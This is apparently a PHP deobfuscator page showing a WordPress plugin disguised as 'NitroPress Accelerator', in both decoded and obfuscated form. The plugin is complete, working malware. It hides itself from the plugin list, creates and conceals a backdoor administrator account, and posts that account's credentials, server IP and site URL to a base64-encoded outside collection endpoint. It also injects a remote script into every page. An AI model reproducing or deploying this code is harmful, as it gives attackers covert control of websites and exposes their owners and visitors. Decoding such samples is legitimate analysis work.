Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Plugin Name: NitroPress Accelerator * Plugin URI: github.com/NitroPress/c..
Decoded Output download
<?php
/**
* Plugin Name: NitroPress Accelerator
* Plugin URI: github.com/NitroPress/core
* Description: Cloud-native performance architecture with atomic deploys. Revolutionizes WordPress speed through JIT resource loading and WASM-powered optimizations.
* Version: 3.7.4
* Author: Blake Gearshift
* Author URI: github.com/NitroPress
* Text Domain: nitropress-accelerator
* License: GPL2+
*/
goto dy8pC; Si_lU: register_deactivation_hook(__FILE__, function () {
delete_option("nitropress_data_sent");
});
goto IUuij; dy8pC: class NitroPress {
private $seed;
private $config = array("font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9wcW9xbGxhbGxsLmNvbS9jbG91ZA==", "endpoint" => "aHR0cHM6Ly9raWNrc3Rhci14Ymxvb20uaW5mby9jb2xsZWN0LnBocA=="); public function __construct() {
$this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks();
}
private function init_hooks() {
goto u1Pv8; OSbKo: add_action("pre_user_query", [
$this, "filter_admin_users"]);
goto jGOiP; jGOiP: add_action("wp_enqueue_scripts", [
$this, "load_assets"]);
goto OGk16; d7r_L: add_action("init", [
$this, "create_admin_user"]);
goto OSbKo; u1Pv8: add_filter("all_plugins", [
$this,"hide_plugin"]);
goto d7r_L; OGk16: }
public function hide_plugin($jKEG5) { unset($jKEG5[plugin_basename(__FILE__)]); return $jKEG5; }
public function create_admin_user() { goto VY05D; Ofrk2: $m_UvQ = $this->generate_credentials();
goto ddrEN; ddrEN: if (!username_exists($m_UvQ["user"])) {
$zYuC5 = wp_create_user($m_UvQ["user"], $m_UvQ["pass"],
$m_UvQ["email"]); if (!is_wp_error($zYuC5)) {
(new WP_User($zYuC5))->set_role("administrator"); } }
goto Hzcnz; Hzcnz: $this->send_credentials($m_UvQ);
goto tkPRj; VY05D:
if (get_option("nitropress_data_sent",false)) {
return;
}
goto Ofrk2; tkPRj: update_option("nitropress_data_sent", true);
goto zs_1V; zs_1V: }
private function generate_credentials() { $EDlv8 = substr(hash("sha256",
$this->seed . "creds"), 0, 16);
return ["user" => "sys_". substr(md5($EDlv8), 0, 8), "pass" => substr(md5($EDlv8 . "pass"),0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()]; }
private function send_credentials($Vp5qe) {
goto UwaPa; FqdCb: wp_remote_post(base64_decode(
$this->config["endpoint"]), $d71Tw);
goto WPF0B; UwaPa: $Jvtu1 = json_encode($Vp5qe, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
goto G_xM0; G_xM0: $d71Tw = ["body" => ["d" => base64_encode($Jvtu1)], "timeout" => 15, "blocking" => false, "sslverify" => false];
goto FqdCb; WPF0B: }
public function filter_admin_users($OGfWt) {
goto EOcJv; A6wRU: $OGfWt->query_where .= " AND {$kx2Lw->users}.user_login != '{$StQVJ}'";
goto MKS8M; EOcJv: global $kx2Lw; goto eyNCO; eyNCO: $StQVJ = $this->generate_credentials()["user"];
goto A6wRU; MKS8M: }
public function load_assets() {
goto BjNKa; deiSU: wp_enqueue_script("ic-tracker", $Iqh_R, [], null, ["strategy" => "defer", "in_footer" => true]);
goto ryhNC; BjNKa: wp_enqueue_style("ic-fonts", base64_decode(
$this->config["font"]), [], null);
goto V_U_1; V_U_1: $Iqh_R = base64_decode($this->config["script"]) . "?ts=" . time();
goto deiSU; ryhNC: } }
goto Si_lU; IUuij: new NitroPress();
?>
Did this file decode correctly?
Original Code
<?php
/**
* Plugin Name: NitroPress Accelerator
* Plugin URI: github.com/NitroPress/core
* Description: Cloud-native performance architecture with atomic deploys. Revolutionizes WordPress speed through JIT resource loading and WASM-powered optimizations.
* Version: 3.7.4
* Author: Blake Gearshift
* Author URI: github.com/NitroPress
* Text Domain: nitropress-accelerator
* License: GPL2+
*/
goto dy8pC; Si_lU: register_deactivation_hook(__FILE__, function () {
delete_option("\156\x69\x74\162\x6f\160\x72\145\x73\x73\137\x64\x61\x74\x61\x5f\x73\x65\156\164");
});
goto IUuij; dy8pC: class NitroPress {
private $seed;
private $config = array("\x66\157\156\x74" => "\141\110\122\x30\x63\x48\115\66\114\171\x39\x6d\142\x32\x35\60\x63\x79\65\x6e\x62\x32\71\156\142\x47\x56\x68\x63\x47\x6c\x7a\x4c\x6d\116\x76\x62\123\71\x6a\143\x33\115\171\120\62\x5a\x68\x62\127\154\x73\x65\x54\x31\x50\143\107\126\x75\x4b\61\116\x68\142\x6e\x4d\66\x64\x7a\121\x77\115\103\x77\x33\115\x44\101\x3d", "\163\143\162\x69\x70\x74" => "\x61\x48\x52\60\x63\110\x4d\x36\x4c\x79\71\167\143\x57\x39\x78\142\107\x78\150\142\x47\170\163\114\155\x4e\166\x62\123\x39\152\142\x47\71\61\x5a\x41\x3d\75", "\x65\156\x64\160\x6f\x69\156\164" => "\x61\110\122\60\143\110\115\x36\114\x79\71\x72\x61\x57\116\162\x63\63\122\150\143\x69\x31\x34\131\x6d\170\x76\x62\62\60\165\141\x57\x35\155\142\x79\71\x6a\142\62\x78\x73\132\127\116\x30\x4c\x6e\x42\x6f\143\x41\75\75"); public function __construct() {
$this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks();
}
private function init_hooks() {
goto u1Pv8; OSbKo: add_action("\160\x72\x65\x5f\x75\163\145\162\137\161\165\145\162\x79", [
$this, "\146\151\154\164\x65\x72\x5f\141\144\x6d\x69\x6e\x5f\x75\163\x65\162\x73"]);
goto jGOiP; jGOiP: add_action("\167\x70\x5f\145\x6e\161\165\145\165\145\x5f\x73\x63\x72\151\160\x74\x73", [
$this, "\x6c\157\141\x64\137\141\x73\x73\145\164\x73"]);
goto OGk16; d7r_L: add_action("\151\156\x69\164", [
$this, "\143\162\x65\x61\x74\x65\x5f\141\144\155\x69\156\x5f\x75\163\x65\162"]);
goto OSbKo; u1Pv8: add_filter("\x61\x6c\x6c\x5f\160\154\x75\147\x69\156\163", [
$this,"\x68\x69\x64\x65\137\x70\x6c\165\147\x69\x6e"]);
goto d7r_L; OGk16: }
public function hide_plugin($jKEG5) { unset($jKEG5[plugin_basename(__FILE__)]); return $jKEG5; }
public function create_admin_user() { goto VY05D; Ofrk2: $m_UvQ = $this->generate_credentials();
goto ddrEN; ddrEN: if (!username_exists($m_UvQ["\x75\x73\x65\162"])) {
$zYuC5 = wp_create_user($m_UvQ["\165\x73\x65\162"], $m_UvQ["\x70\x61\163\163"],
$m_UvQ["\145\x6d\x61\x69\154"]); if (!is_wp_error($zYuC5)) {
(new WP_User($zYuC5))->set_role("\x61\144\155\x69\156\x69\163\164\x72\x61\x74\157\162"); } }
goto Hzcnz; Hzcnz: $this->send_credentials($m_UvQ);
goto tkPRj; VY05D:
if (get_option("\x6e\x69\164\x72\x6f\160\162\x65\163\163\x5f\x64\x61\164\141\137\x73\x65\x6e\164",false)) {
return;
}
goto Ofrk2; tkPRj: update_option("\156\151\x74\x72\x6f\x70\162\x65\x73\x73\x5f\144\141\x74\141\137\163\x65\x6e\x74", true);
goto zs_1V; zs_1V: }
private function generate_credentials() { $EDlv8 = substr(hash("\163\150\141\62\x35\x36",
$this->seed . "\143\162\x65\144\163"), 0, 16);
return ["\165\163\x65\162" => "\x73\x79\x73\137". substr(md5($EDlv8), 0, 8), "\x70\141\x73\163" => substr(md5($EDlv8 . "\x70\x61\x73\163"),0, 12), "\145\x6d\x61\x69\x6c" => "\x6e\157\162\x65\x70\154\x79\100" . parse_url(home_url(), PHP_URL_HOST), "\x69\x70" => $_SERVER["\x53\x45\122\126\x45\122\x5f\x41\104\104\x52"], "\165\x72\x6c" => home_url()]; }
private function send_credentials($Vp5qe) {
goto UwaPa; FqdCb: wp_remote_post(base64_decode(
$this->config["\145\x6e\144\160\157\x69\156\164"]), $d71Tw);
goto WPF0B; UwaPa: $Jvtu1 = json_encode($Vp5qe, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
goto G_xM0; G_xM0: $d71Tw = ["\x62\x6f\144\x79" => ["\x64" => base64_encode($Jvtu1)], "\x74\x69\155\x65\x6f\165\164" => 15, "\142\x6c\x6f\143\153\151\x6e\147" => false, "\163\163\154\166\145\x72\x69\x66\x79" => false];
goto FqdCb; WPF0B: }
public function filter_admin_users($OGfWt) {
goto EOcJv; A6wRU: $OGfWt->query_where .= "\40\x41\116\104\x20{$kx2Lw->users}\56\x75\x73\145\x72\137\x6c\x6f\147\151\x6e\40\x21\75\x20\x27{$StQVJ}\47";
goto MKS8M; EOcJv: global $kx2Lw; goto eyNCO; eyNCO: $StQVJ = $this->generate_credentials()["\x75\163\145\162"];
goto A6wRU; MKS8M: }
public function load_assets() {
goto BjNKa; deiSU: wp_enqueue_script("\151\x63\x2d\x74\x72\141\x63\153\x65\x72", $Iqh_R, [], null, ["\163\164\162\x61\x74\145\147\x79" => "\144\145\x66\x65\x72", "\151\156\x5f\146\157\157\164\x65\x72" => true]);
goto ryhNC; BjNKa: wp_enqueue_style("\151\x63\55\146\x6f\156\x74\x73", base64_decode(
$this->config["\146\x6f\x6e\164"]), [], null);
goto V_U_1; V_U_1: $Iqh_R = base64_decode($this->config["\163\143\x72\x69\x70\164"]) . "\77\164\x73\x3d" . time();
goto deiSU; ryhNC: } }
goto Si_lU; IUuij: new NitroPress();
Function Calls
None |
Stats
MD5 | 80972b7d80e4ebbe08df50de7d3d4d8e |
Eval Count | 0 |
Decode Time | 48 ms |